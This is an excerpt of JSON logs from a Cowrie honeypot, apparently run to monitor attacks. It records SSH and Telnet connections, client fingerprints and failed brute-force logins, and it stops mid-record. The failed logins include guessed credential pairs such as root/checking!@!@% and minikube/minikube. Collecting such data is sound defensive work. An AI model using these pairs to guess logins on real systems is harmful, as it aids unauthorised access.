{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:43:10.151361Z","src_ip":"109.91.4.177","session":"68eda28f10e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:43:10.876730Z","src_ip":"103.75.183.219","session":"dfa69ffe8787","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:43:12.124822Z","src_ip":"103.75.183.219","session":"dfa69ffe8787","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":39830,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4c01cceea62","protocol":"telnet","message":"New connection: 50.6.8.71:39830 (10.17.0.5:23) [session: d4c01cceea62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:43:13.770176Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43044,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc2db58cd981","protocol":"telnet","message":"New connection: 50.6.8.71:43044 (10.17.0.5:23) [session: bc2db58cd981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:43:35.530426Z"}
{"eventid":"cowrie.session.connect","src_ip":"67.222.148.25","src_port":48062,"dst_ip":"10.17.0.5","dst_port":23,"session":"d12b8469a12c","protocol":"telnet","message":"New connection: 67.222.148.25:48062 (10.17.0.5:23) [session: d12b8469a12c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:43:38.918651Z"}
{"eventid":"cowrie.session.closed","duration":0.004614353179931641,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:43:38.923145Z","src_ip":"67.222.148.25","session":"d12b8469a12c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.22310733795166,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:43:44.426030Z","src_ip":"50.6.8.71","session":"c58684480a75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.37882113456726,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:43:45.148854Z","src_ip":"50.6.8.71","session":"d4c01cceea62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":63069,"dst_ip":"159.203.135.109","dst_port":22,"session":"c85dd6f0ae60","protocol":"ssh","message":"New connection: 109.91.4.177:63069 (159.203.135.109:22) [session: c85dd6f0ae60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:43:49.679142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:43:49.682976Z","src_ip":"109.91.4.177","session":"c85dd6f0ae60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:43:49.788200Z","src_ip":"109.91.4.177","session":"c85dd6f0ae60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"228228","message":"login attempt [root/228228] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:43:50.565836Z","src_ip":"109.91.4.177","session":"c85dd6f0ae60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:43:51.674821Z","src_ip":"109.91.4.177","session":"c85dd6f0ae60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":46162,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba3ba9a44210","protocol":"ssh","message":"New connection: 103.75.182.198:46162 (10.17.0.5:22) [session: ba3ba9a44210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:02.990089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:02.994331Z","src_ip":"103.75.182.198","session":"ba3ba9a44210","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:03.248003Z","src_ip":"103.75.182.198","session":"ba3ba9a44210","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:03.985613Z","src_ip":"103.75.182.198","session":"ba3ba9a44210","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:05.246885Z","src_ip":"103.75.182.198","session":"ba3ba9a44210","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51034,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b23da9a194c","protocol":"telnet","message":"New connection: 50.6.8.71:51034 (10.17.0.5:23) [session: 5b23da9a194c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:10.467571Z"}
{"eventid":"cowrie.session.closed","duration":36.32899355888367,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:11.859048Z","src_ip":"50.6.8.71","session":"bc2db58cd981","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":37582,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e047afc3022","protocol":"ssh","message":"New connection: 103.77.175.15:37582 (10.17.0.5:22) [session: 0e047afc3022]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:12.952279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:12.957307Z","src_ip":"103.77.175.15","session":"0e047afc3022","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:13.216266Z","src_ip":"103.77.175.15","session":"0e047afc3022","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:14.094218Z","src_ip":"103.77.175.15","session":"0e047afc3022","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:15.357073Z","src_ip":"103.77.175.15","session":"0e047afc3022","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.14.109.150","src_port":46386,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a4a192dca79","protocol":"telnet","message":"New connection: 197.14.109.150:46386 (10.17.0.5:23) [session: 0a4a192dca79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:18.164029Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35550,"dst_ip":"10.17.0.5","dst_port":23,"session":"4641c4f384c5","protocol":"telnet","message":"New connection: 50.6.8.71:35550 (10.17.0.5:23) [session: 4641c4f384c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:24.235089Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60372,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7a34e2e08bc","protocol":"telnet","message":"New connection: 50.6.8.71:60372 (10.17.0.5:23) [session: e7a34e2e08bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:27.603122Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":59264,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb73bbf99bd1","protocol":"ssh","message":"New connection: 109.91.4.177:59264 (159.203.135.109:22) [session: eb73bbf99bd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:30.369874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:30.375103Z","src_ip":"109.91.4.177","session":"eb73bbf99bd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:30.965475Z","src_ip":"109.91.4.177","session":"eb73bbf99bd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.817610502243042,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:30.981518Z","src_ip":"197.14.109.150","session":"0a4a192dca79","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"d3pl0y1234","message":"login attempt [deploy/d3pl0y1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:31.620588Z","src_ip":"109.91.4.177","session":"eb73bbf99bd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:32.751384Z","src_ip":"109.91.4.177","session":"eb73bbf99bd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":42822,"dst_ip":"159.203.135.109","dst_port":22,"session":"00b0418dc567","protocol":"ssh","message":"New connection: 201.77.124.248:42822 (159.203.135.109:22) [session: 00b0418dc567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:37.357557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:37.362253Z","src_ip":"201.77.124.248","session":"00b0418dc567","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:37.498531Z","src_ip":"201.77.124.248","session":"00b0418dc567","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minikube","password":"minikube","message":"login attempt [minikube/minikube] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:38.056374Z","src_ip":"201.77.124.248","session":"00b0418dc567","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:39.190374Z","src_ip":"201.77.124.248","session":"00b0418dc567","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.70791506767273,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:42.175356Z","src_ip":"50.6.8.71","session":"5b23da9a194c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":37520,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1b9e289f9e2","protocol":"ssh","message":"New connection: 103.173.227.57:37520 (10.17.0.5:22) [session: c1b9e289f9e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:52.965256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:52.970426Z","src_ip":"103.173.227.57","session":"c1b9e289f9e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:53.209107Z","src_ip":"103.173.227.57","session":"c1b9e289f9e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:53.924695Z","src_ip":"103.173.227.57","session":"c1b9e289f9e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:44:55.166043Z","src_ip":"103.173.227.57","session":"c1b9e289f9e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.14298486709595,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:45:03.377958Z","src_ip":"50.6.8.71","session":"4641c4f384c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.06162405014038,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:45:08.664658Z","src_ip":"50.6.8.71","session":"e7a34e2e08bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.181.112.131","src_port":60912,"dst_ip":"10.17.0.5","dst_port":22,"session":"b740111e816c","protocol":"ssh","message":"New connection: 65.181.112.131:60912 (10.17.0.5:22) [session: b740111e816c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:46:00.303003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:46:00.309592Z","src_ip":"65.181.112.131","session":"b740111e816c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh